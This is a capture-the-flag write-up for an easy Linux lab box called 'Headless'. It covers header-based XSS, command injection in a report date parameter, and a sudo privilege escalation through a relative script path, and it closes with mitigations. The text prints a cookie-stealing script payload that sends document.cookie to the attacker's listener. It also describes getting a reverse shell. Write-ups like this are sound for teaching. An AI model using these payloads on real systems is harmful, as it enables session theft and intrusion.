Headless is an easy-rated Linux box created by dvir1. In this write-up, we're going to break down our approach step by step:
Foothold
: Getting our foot in the door involves exploiting an XSS (Cross-Site Scripting)
vulnerability.User
: To level up to user access, we'll be playing around with a basic command injection
flaw.Root
: To reach the top, we're taking advantage of some sudo privileges given to the user.
Hang tight as we dive deep into each stage, sharing the tricks and tools needed to own this box.
First we'll start with an nmap scan:
Here we see two ports open:
22
: For SSH5000
: A web serverLets Check out the web server first.
Here we just see a timer for 25 days. Clicking on For Questions
button it takes you to a support
page where
you can write a message:
On writing a message it does nothing but if you send a message with an XSS payload it detects it and shows an hacking attempt page:
<script>alert(1)</script>
Here we see our request is returned back and we also see a cookie is_admin
, we will talk about
this cookie later.
Lets also do a quick directory fuzz on this:
Here we see one other endpoint: /dashboard
. When we try to access it it gives
401 Unauthorized
:
Maybe the cookie that we found has something to so with this.
If you noticed, when we try to send an XSS payload in the support message, we get our request back. What if we poisoned the request itself along with the message with an XSS payload ?
We will pass the request from burp and edit our reuqest. I will add another header named Test
and set its value to the XSS payload.
<script>alert(1)</script>
Notice a new header at the end of headers named Test
. On sending this request we exploit the XSS
vulnerability.
Now that we have XSS, we can probably steal some cookies. But from whom ? We don't have anyone to steal the cookies from so lets try to send a payload to the box itself and see if we get a different cookie.
We can setup a HTTP server locally and make the script send the cookie to that local server.
<script>document.location='http://10.10.14.29:8000'+document.cookie</script>
Notice the XSS payload in the Test
header. When we send this request we should see a request
made to our python HTTP server that we started.
We see a reuqest on our HTTP server with a different cookie. Lets try to access /dashboard
using
this cookie:
As you can see we have successfully accessed the dashboard.
Now on the dashboard page we get a generate report button. On clicking it just says "All systems are up and running".
On looking at the request made when generating report, we see a date parameter being passed:
Notice the date paramater being passed in the above image. We can try to add a command injection payload here, lets start another HTTP server locally and put a curl request in the payload to the HTTP server:
On sending this request, we should see a request made to the HTTP server on the terminal:
You can see the request on the HTTP server. This means we have command injection now. We can get a shell from this using any reverse shell.
On sending this request I shoud get back a reverse shell.
As you can see we got a reverse shell back from the user. The username is "dvir". To get a stable shell you
can put your ssh public key in /home/dvir/.ssh/authorized_keys
and then login using ssh.
Now after the user access the first thing that I check are the sudo privileges of the user. This can be done
by sudo -l
. On running this we see that "dvir" can run one command as root on this box
/usr/bin/syscheck
.
This is not a standard command as I couldn't find it anywhere online and when you run it with sudo it just prints some basic syscheck things:
Lets look at what type of file this is and if we can read it:
Looks like this is a bash script and is also readable. If you analyse the file closely, it runs a script in
your current directory with the name initdb.sh
and there is no such file in the directory. So
if we create one with the same name specified, we can run anything as root.
I will just put one command in the file: bash
. And this should give us the root access.
As you can see we have gotten root access.
The work doesn't end here. Mitigation of these vulnerabilities is equally important as exploiting them. So lets see how we can mitigate each vulnerability.
To mitigate the foothold vulnerability, we would also need to sanitize the user request that we are displaying, just like it is been done in the support form. The basic idea is to sanitize everything that comes from the user's end, In this case the request headers. Though this vulnerability was manually created as it was a flask app and in flask, if you display a user input usnig the inbuilt jinja template engine, it automatically converts any special character into its HTML encoded form so these type of vulnerabilities dont arrise.
Here, again the same concept should be applied, "ALWAYS SANITIZE THE USER INPUT". In this the date param was directly being parsed to the command line, that too without the sinitization.
For this specific priv esc case, we were able to exploit the script because a relative path was specified rather than a full path. The best practice is to always use full paths as using just the command or relative paths may introduce these types of vulnerabilities.
That was it from my end. HAPPY HACKING